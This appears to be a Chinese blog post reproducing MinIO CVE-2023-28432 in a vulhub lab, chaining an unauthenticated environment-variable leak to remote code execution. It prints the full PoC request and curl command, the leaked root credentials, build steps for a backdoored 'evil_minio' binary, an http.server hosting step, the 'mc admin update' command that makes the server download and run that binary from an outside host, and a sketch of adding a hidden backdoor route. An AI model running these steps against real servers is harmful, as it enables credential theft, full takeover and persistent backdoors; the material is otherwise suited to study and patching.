minio从信息泄漏到RCE

写在前面:

Minio 是个基于 Golang 编写的开源对象存储套件,虽然轻量,却拥有着不错的性能。

minio存在漏洞利用,本次漏洞为CVE-2023-28432

官方在 https://github.com/minio/minio/pull/8550 中引入bootstrap API 并于 RELEASE.2019-12-17T23-16-33Z发布,用于验证服务器配置。在其RELEASE.2023-03-20T20-16-18Z版本(不含)以前,集群模式部署下存在一处信息泄露漏洞,攻击者可以通过发送一个POST数据包获取进程所有的环境变量,其中就包含账号密码MINIO_SECRET_KEYMINIO_ROOT_PASSWORD

本次漏洞复现,需要使用到分布式部署。在单机情况下,复现失败。

注意点:

版本号检测:

1.http-> Get /api/v1/check-version

2.版本小于RELEASE.2023-03-20T20-16-18Z则存在漏洞。

信息泄露:

POST /minio/bootstrap/v1/verify HTTP/1.1

环境搭建:

参考vulhub的dockerfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
version: '3'
services:
node1:
image: vulhub/minio:2023-02-27T18-10-45Z
environment:
- MINIO_ROOT_USER=minioadmin
- MINIO_ROOT_PASSWORD=minioadmin-vulhub
command:
- minio
- server
- --console-address
- :9001
- http://node1:9000/mnt/data1
- http://node2:9000/mnt/data2
- http://node3:9000/mnt/data3
ports:
- 9000:9000
- 9001:9001
hostname: node1
volumes:
- ./mnt/data1:/mnt/data1
node2:
image: vulhub/minio:2023-02-27T18-10-45Z
environment:
- MINIO_ROOT_USER=minioadmin
- MINIO_ROOT_PASSWORD=minioadmin-vulhub
command:
- minio
- server
- http://node1:9000/mnt/data1
- http://node2:9000/mnt/data2
- http://node3:9000/mnt/data3
hostname: node2
volumes:
- ./mnt/data2:/mnt/data2
node3:
image: vulhub/minio:2023-02-27T18-10-45Z
environment:
- MINIO_ROOT_USER=minioadmin
- MINIO_ROOT_PASSWORD=minioadmin-vulhub
command:
- minio
- server
- http://node1:9000/mnt/data1
- http://node2:9000/mnt/data2
- http://node3:9000/mnt/data3
hostname: node3
volumes:
- ./mnt/data3:/mnt/data3

1.未授权访问:

1.1 登录信息泄露:

minio中web页面访问是ip:9001,而api服务访问则是ip:9000

使用burp抓包,poc如下:

1
2
3
4
5
6
7
8
9
10
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: your-ip:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

或者使用curl

1
2
3
4
5
6
7
8
9
10
curl -X POST \
http://10.10.10.129:9000/minio/bootstrap/v1/verify \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Accept: */*' \
-H 'Accept-Language: en-US;q=0.9,en;q=0.8' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36' \
-H 'Connection: close' \
-H 'Cache-Control: max-age=0' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Content-Length: 0'

可以查看到相关信息:

image-20231226215840140

1
{"MinioEndpoints":[{"Legacy":true,"SetCount":1,"DrivesPerSet":3,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"node1:9000","Path":"/mnt/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"node2:9000","Path":"/mnt/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"node3:9000","Path":"/mnt/data3","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"http://node1:9000/mnt/data1 http://node2:9000/mnt/data2 http://node3:9000/mnt/data3","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_ROOT_PASSWORD":"minioadmin-vulhub","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"minioadmin","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key"}}

可以查看MINIO_ROOT_PASSWORMINIO_ROOT_USER

登陆成功。

image-20231226215859605

1.2 连接minio客户端:

为了更好的管理minio,官方提供了mc工具,通过输入账号和密码即可连接成功。

安装mc指令。

1
2
3
4
5
6
curl https://dl.min.io/client/mc/release/linux-amd64/mc \
--create-dirs \
-o $HOME/minio-binaries/mc

chmod +x $HOME/minio-binaries/mc
export PATH=$PATH:$HOME/minio-binaries/

添加实例:

使用命令mc config host add miniode1 http://10.10.10.129:9000 minioadmin minioadmin-vulhub进行连接,后面传入的分别是账号和密码。

image-20231226215906800

这里留个坑,不会使用cyberduck连接上minio。

image-20231226215911642

2.RCE 复现

2.1 配置mc指令:

上面所述,minio的mc(minio的客户端)可以远程升级minio服务器,而关键在于升级地址是一个可以通过预自定义的。

可以从下面的连接进行下载源代码。

AbelChe/evil_minio: EXP for CVE-2023-28434 MinIO unauthorized to RCE (github.com)

查看官方文档,查看使用mc admin的使用:**MinIO Admin Client — MinIO Object Storage for Linux**

image-20231226215918047

2.2 update实现rce:

拉取大佬修改好的minio(其实是懒得找源码,自己修改)

1
2
3
4
5
6
7
8
9
git clone https://github.com/AbelChe/evil_minio.git
go env -w GOPROXY=https://goproxy.cn,direct // 设置代理
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath //编译
//重命名
mv minio minio.RELEASE.2023-03-22T06-36-24Z
//shasum校验
shasum -a 256 minio.RELEASE.2023-03-22T06-36-24Z > minio.RELEASE.2023-03-22T06-36-24Z.sha256sum
启动http服务
python3 -m http.server 18090

然后我们可以创建一个桶,直观看到变化:

接着我们执行更新操作:

1
2
3
4
5
6
#添加 MinIO服务案例
mc config host add docker_minio1 http://10.10.10.129:9000 minioadmin minioadmin-vulhub
#ls命令 - 列出对象(可以不执行这一步)
mc ls miniode1
#下载更新包更新
mc admin update miniode1 http://10.211.55.2:18090/minio.RELEASE.2023-03-22T06-36-24Z.sha256sum -y

image-20231226215932676

最终效果如图所示:

image-20231226215937704

image-20231226215942747

成功更新并且实现了rce。

3.漏洞原理重现:

3.1 代码审计:

信息泄露从何而来?

cmd/routers.goconfigureServerHandler是注册路由方法,如图所示:

image-20231226215947872

其中根据漏洞报告可以知道,信息泄露的相关api是bootStrap相关的。

因此初步推断是registerDistErasureRouters中注册bootStrap相关的路由,如图所示:

image-20231226215952177

接着查看registerBootStrapRESTHandlers可以看到verify路由。

image-20231226215959798

查看server.HealthHandler函数:

image-20231226220004077

可以看到存在敏感信息,即getServerSystemCfg函数,点击后查看该函数返回的值是ServerSystemConfig结构体,这个结构体中包含了环境变量MINIO_的相关敏感信息:

image-20231226220008853

获取了环境变量后用了for循环对envValues这个map赋值,而这个skipEnvs就是罪大恶极的map,里面包含了账号密码等敏感信息。

image-20231226220014606

所以这个skipEnvs[envK]是什么呢?根据官方说明,MinIO在启动时会从环境变量中读取预先设置的用户和密码,默认情况下:minioadmin/minioadmin。就是说如果环境变量存在,则不对其赋值,如果不存在则会抛到上一层,最终判断为空则会使用默认账号密码。

更新RCE从何而来?

可以查看cmd/update.go,其中全局变量已经设置到了相关的更新路径,如图所示:

image-20231226220018632

minio在更新的时候会对更新包进行sha256sum,但由于envMinisignPubKey为空,所以校验无效了:

image-20231226220022081

3.2 无损RCR+后门:

如何编写一个路由呢?

cmd/routers.go中的globalHandler添加自己的router,如图所示:

image-20231226220026088

generic-handlers.go中添加handler

image-20231226220030207

创建一个函数判断当前系统是window还是linux,如图所示:

image-20231226220034525

参考文章:

MinIO从信息泄漏到RCE复现 (qq.com)

mc admin update — MinIO Object Storage for Linux

AbelChe/evil_minio: EXP for CVE-2023-28434 MinIO unauthorized to RCE (github.com)

MinIO从信息泄漏到RCE复现 (qq.com)


minio从信息泄漏到RCE
https://pow1e.github.io/2023/12/26/代码审计/minio从信息泄漏到RCE/
作者
pow1e
发布于
2023年12月26日
许可协议